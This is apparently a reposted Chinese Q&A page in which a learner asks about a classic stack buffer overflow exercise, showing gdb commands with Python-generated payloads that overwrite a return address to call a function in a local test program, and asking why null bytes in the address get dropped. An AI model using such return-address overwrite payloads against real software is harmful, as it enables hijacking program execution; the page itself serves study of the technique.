缓冲区溢出示例地址

问题描述

我正在使用缓冲区溢出来覆盖返回地址并调用一个函数。我通过覆盖返回地址调用函数名称not_called。这是我创建有效负载方法

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x3b\x42\x08\x08")')

程序在上述情况下工作,并调用not_called 函数。当 not_called 的地址采用以下格式时会出现问题:0x57d。 当我按如下方式创建有效负载时:

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')

我收到以下错误,程序无法运行。

(gdb) r $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/aditya/Desktop/victim $(python -c 'import sys; sys.stdout.write("A"*0x6c + "BBBB"+"\x7d\x05\x00\x00")')
/bin/bash: warning: command substitution: ignored null byte in input
0xffffd07c

Program received signal SIGSEGV,Segmentation fault.
0x5600057d in ?? ()

我有两个问题:

  • bash 警告是否忽略了字节 0,0 并且不传递它们?
  • 第二,如果你看 SIGSEV 的地址,它是 0x5600057d,它应该是 0x0000057d

如何创建这样的地址?

更新: 如果有人只想尝试或做作业,请使用 stdlib.h string.h stdio.h 进行静态链接(gcc -static)。它会增加您的程序大小。当你反汇编它时,它的地址就足够大了。这个问题没有通用的解决方案。您可以在 Security Stackexchange

上看到此帖子

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)